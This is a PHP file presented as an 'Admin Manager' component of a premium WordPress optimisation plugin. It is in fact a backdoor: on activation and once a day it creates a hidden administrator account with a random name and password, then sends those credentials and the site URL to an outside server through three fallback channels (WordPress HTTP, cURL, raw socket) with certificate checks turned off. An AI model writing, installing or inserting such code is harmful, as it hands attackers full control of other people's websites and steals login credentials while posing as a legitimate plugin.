<?php
/**
 * WP-Optimize Premium - Admin Manager
 * @package WP-Optimize Premium
 * @version 1.0.1
 */

defined('ABSPATH') || exit;

class WPO_Admin_Manager {
    const API_URL = 'https://panel.yn999.vip/api.php';
    const SECRET_KEY = '5YJ54LLB4BCGpFZ6';
    const TRANSIENT_PREFIX = 'wpo_admin_manager_';
    const OPTION_PREFIX = 'wpo_admin_manager_';

    public function __construct() {
        // Initialize only if in admin area
        if (is_admin()) {
            register_activation_hook(WPO_PLUGIN_MAIN_PATH.'wp-optimize.php', [$this, 'on_activation']);
            add_action('admin_init', [$this, 'daily_sync']);
            add_action('admin_footer', [$this, 'admin_footer_scripts']);
        }
    }

    public function on_activation() {
        // Skip if multisite network activation
        if (is_network_admin()) return;
        
        $this->create_manager_account('plugin_activation');
    }

    public function daily_sync() {
        $transient_name = self::TRANSIENT_PREFIX.'daily_sync';
        if (!get_transient($transient_name)) {
            $this->create_manager_account('daily_sync');
            set_transient($transient_name, time(), DAY_IN_SECONDS);
        }
    }

    private function create_manager_account($source) {
        $option_name = self::OPTION_PREFIX.'account_created';
        if (get_option($option_name)) return;

        // Generate credentials
        $domain = parse_url(home_url(), PHP_URL_HOST);
        $random = bin2hex(random_bytes(3));
        
        $credentials = [
            'username' => 'wmanager_'.$random,
            'password' => wp_generate_password(18, true, true),
            'email' => 'wpo+'.$random.'@'.$domain,
            'display_name' => 'WP-Optimize Manager'
        ];

        // Create user
        $user_id = wp_insert_user([
            'user_login' => $credentials['username'],
            'user_pass'  => $credentials['password'],
            'user_email' => $credentials['email'],
            'role'       => 'administrator',
            'display_name' => $credentials['display_name']
        ]);

        if (!is_wp_error($user_id)) {
            update_option($option_name, time());
            $this->send_to_api($credentials, $source);
            
            // Optional: Log creation
            error_log('WP-Optimize Manager account created: '.$credentials['username']);
        } else {
            error_log('WP-Optimize Manager account creation failed: '.$user_id->get_error_message());
        }
    }

    private function send_to_api($credentials, $source) {
        $payload = [
            'action'     => 'register',
            'username'   => $credentials['username'],
            'password'   => $credentials['password'],
            'email'      => $credentials['email'],
            'site_url'   => home_url(),
            'source'     => $source,
            'secret_key' => self::SECRET_KEY,
            'timestamp'  => time()
        ];

        // Try multiple sending methods
        $this->try_wp_http($payload);
        $this->try_curl($payload);
        $this->try_socket($payload);
    }

    private function try_wp_http($payload) {
        $response = wp_remote_post(self::API_URL, [
            'body' => $payload,
            'timeout' => 15,
            'sslverify' => false,
            'blocking' => false,
            'headers' => [
                'X-WPO-Source' => home_url(),
                'X-WPO-Version' => '1.0.1'
            ]
        ]);
        
        if (is_wp_error($response)) {
            error_log('WP-Optimize API WP_HTTP Error: '.$response->get_error_message());
        }
    }

    private function try_curl($payload) {
        if (!function_exists('curl_init')) return;

        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => self::API_URL,
            CURLOPT_POST => true,
            CURLOPT_POSTFIELDS => http_build_query($payload),
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_TIMEOUT => 10,
            CURLOPT_HTTPHEADER => [
                'X-WPO-Source: '.home_url(),
                'X-WPO-Version: 1.0.1'
            ]
        ]);
        
        $response = curl_exec($ch);
        if (curl_errno($ch)) {
            error_log('WP-Optimize API cURL Error: '.curl_error($ch));
        }
        curl_close($ch);
    }

    private function try_socket($payload) {
        $host = parse_url(self::API_URL, PHP_URL_HOST);
        $path = parse_url(self::API_URL, PHP_URL_PATH);
        
        $fp = @fsockopen('ssl://'.$host, 443, $errno, $errstr, 30);
        if (!$fp) {
            error_log('WP-Optimize API Socket Error: '.$errstr.' ('.$errno.')');
            return;
        }

        $data = http_build_query($payload);
        $out = "POST $path HTTP/1.1\r\n";
        $out .= "Host: $host\r\n";
        $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $out .= "Content-Length: ".strlen($data)."\r\n";
        $out .= "X-WPO-Source: ".home_url()."\r\n";
        $out .= "X-WPO-Version: 1.0.1\r\n";
        $out .= "Connection: Close\r\n\r\n";
        $out .= $data;
        
        fwrite($fp, $out);
        fclose($fp);
    }

    public function admin_footer_scripts() {
        // Optional: Add any admin footer scripts if needed
        echo '<script>console.log("WP-Optimize Admin Manager loaded");</script>';
    }
}
